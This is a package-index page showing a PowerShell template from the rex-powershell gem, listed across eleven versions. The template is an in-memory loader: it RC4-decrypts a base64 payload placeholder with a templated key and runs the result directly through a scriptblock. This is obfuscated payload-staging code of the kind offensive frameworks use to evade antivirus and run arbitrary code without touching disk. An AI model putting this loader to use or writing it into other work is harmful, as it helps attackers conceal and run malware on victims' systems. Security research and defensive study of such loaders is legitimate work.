Sha256: a49a91bd0dfb4fd4e5b96ab00aec6c84142b8a6a8b895ac67089a22c84e3048e

Contents?: true

Size: 1 KB

Versions: 11

Compression:

Stored size: 1 KB

Contents

function %{func_rc4_decrypt} {
    param([Byte[]]$%{var_rc4buffer})

    $%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")

    $s = New-Object Byte[] 256;
    $k = New-Object Byte[] 256;

    for ($i = 0; $i -lt 256; $i++)
    {
        $s[$i] = [Byte]$i;
        $k[$i] = $%{var_key}[$i %% $%{var_key}.Length];
    }

    $j = 0;
    for ($i = 0; $i -lt 256; $i++)
    {
        $j = ($j + $s[$i] + $k[$i]) %% 256;
        $temp = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $temp;
    }

    $i = $j = 0;
    for ($x = 0; $x -lt $%{var_rc4buffer}.Length; $x++)
    {
        $i = ($i + 1) %% 256;
        $j = ($j + $s[$i]) %% 256;
        $temp = $s[$i];
        $s[$i] = $s[$j];
        $s[$j] = $temp;
        [int]$t = ($s[$i] + $s[$j]) %% 256;
        $%{var_rc4buffer}[$x] = $%{var_rc4buffer}[$x] -bxor $s[$t];
    }

    $%{var_rc4buffer}
}

&([scriptblock]::create(([system.Text.Encoding]::UTF8).GetString((%{func_rc4_decrypt} ([System.Convert]::FromBase64String("%{b64payload}"))))))

Version data entries

11 entries across 11 versions & 1 rubygems

Version Path
rex-powershell-0.1.101 data/templates/to_mem_rc4.ps1.template
rex-powershell-0.1.100 data/templates/to_mem_rc4.ps1.template
rex-powershell-0.1.99 data/templates/to_mem_rc4.ps1.template
rex-powershell-0.1.98 data/templates/to_mem_rc4.ps1.template
rex-powershell-0.1.97 data/templates/to_mem_rc4.ps1.template
rex-powershell-0.1.96 data/templates/to_mem_rc4.ps1.template
rex-powershell-0.1.95 data/templates/to_mem_rc4.ps1.template
rex-powershell-0.1.94 data/templates/to_mem_rc4.ps1.template
rex-powershell-0.1.93 data/templates/to_mem_rc4.ps1.template
rex-powershell-0.1.92 data/templates/to_mem_rc4.ps1.template
rex-powershell-0.1.91 data/templates/to_mem_rc4.ps1.template